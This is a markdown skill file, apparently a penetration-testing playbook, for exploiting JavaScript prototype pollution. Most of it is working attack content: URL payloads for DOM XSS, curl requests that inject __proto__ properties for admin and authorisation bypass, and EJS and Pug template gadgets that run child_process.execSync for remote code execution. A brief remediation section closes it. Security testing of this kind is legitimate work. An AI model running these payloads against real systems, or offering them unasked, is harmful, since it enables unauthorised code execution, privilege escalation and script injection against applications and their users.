---
name: exploiting-prototype-pollution-in-javascript
description: Detect and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication bypass through property injection.
domain: cybersecurity
subdomain: web-application-security
tags: [prototype-pollution, javascript, node-js, xss, rce, property-injection, dom-xss, server-side-pollution]
version: "1.0"
author: mahipal
license: Apache-2.0
---

# Exploiting Prototype Pollution in JavaScript

## When to Use
- When testing Node.js or JavaScript-heavy web applications
- During assessment of APIs accepting deep-merged JSON objects
- When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
- During code review of object merge/clone/extend operations
- When evaluating npm packages for prototype pollution gadgets

## Prerequisites
- Burp Suite with DOM Invader extension for client-side prototype pollution detection
- Node.js development environment for server-side testing
- Understanding of JavaScript prototype chain and object inheritance
- Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
- Prototype Pollution Gadgets Scanner Burp extension for server-side detection
- Browser developer console for client-side prototype manipulation

## Workflow

### Step 1 — Identify Prototype Pollution Sources
```javascript
// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true

// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed

// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value

// Hash fragment pollution:
// http://target.com/#__proto__[key]=value
```

### Step 2 — Test Server-Side Prototype Pollution
```bash
# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true}}'

# Test via constructor.prototype
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# Test for status code reflection (detection technique)
# Pollute status property to detect server-side pollution
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"status": 510}}'
# If response returns 510, server-side pollution confirmed

# JSON content type pollution
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
```

### Step 3 — Exploit Client-Side for DOM XSS
```javascript
// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink

// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>

// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//

// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG

// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks
```

### Step 4 — Exploit Server-Side for RCE
```bash
# Node.js child_process gadget (RCE)
# If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'

# EJS template engine gadget
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'

# Handlebars template gadget
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'

# Pug template engine gadget
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
```

### Step 5 — Exploit for Authentication and Authorization Bypass
```bash
# Pollute isAdmin or role property
curl -X POST http://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true, "role": "admin"}}'

# Pollute auth-related properties
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"verified": true, "emailVerified": true}}'

# Bypass JSON schema validation
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"additionalProperties": true}}'
```

### Step 6 — Detect with Automated Tools
```bash
# Use ppfuzz for automated detection
ppfuzz -l urls.txt -o results.txt

# Nuclei templates for prototype pollution
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml

# Server-side detection with Burp Scanner
# Enable "Server-side prototype pollution" scan check
# Review issues in Burp Dashboard

# Manual detection via timing/error-based techniques
# Pollute a property that causes detectable server behavior change
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"toString": "polluted"}}'
# If server errors (500), pollution is working
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |
| __proto__ | Accessor property that exposes the prototype of an object |
| Pollution Source | Input point that allows setting properties on Object.prototype |
| Pollution Sink | Code that reads a polluted property and performs a dangerous operation |
| Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |
| Deep Merge | Recursive object merge functions that may process __proto__ as a regular key |
| constructor.prototype | Alternative path to access and pollute the prototype object |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution |
| Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection |
| ppfuzz | Automated prototype pollution fuzzer |
| Nuclei | Template-based scanner with prototype pollution templates |
| server-side-prototype-pollution | Burp Scanner check for server-side detection |
| ESLint security plugin | Static analysis for prototype pollution patterns in code |

## Common Scenarios

1. **DOM XSS via Analytics** — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype
2. **RCE via Template Engine** — Exploit EJS/Pug/Handlebars gadgets to execute arbitrary commands through polluted template rendering properties
3. **Admin Privilege Escalation** — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications
4. **JSON Schema Bypass** — Pollute schema validation properties to bypass input validation and inject malicious data
5. **Denial of Service** — Pollute toString or valueOf to crash the application when objects are coerced to primitives

## Output Format

```
## Prototype Pollution Assessment Report
- **Target**: http://target.com
- **Type**: Server-Side Prototype Pollution
- **Impact**: Remote Code Execution via EJS template gadget

### Findings
| # | Source | Gadget | Sink | Impact |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | Template render | RCE |
| 2 | POST /api/profile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |
| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |

### Remediation
- Use Object.create(null) for configuration objects instead of {}
- Freeze Object.prototype with Object.freeze(Object.prototype)
- Sanitize __proto__ and constructor keys in user input
- Use Map instead of plain objects for user-controlled data
- Update vulnerable npm packages (lodash, merge-deep, etc.)
```
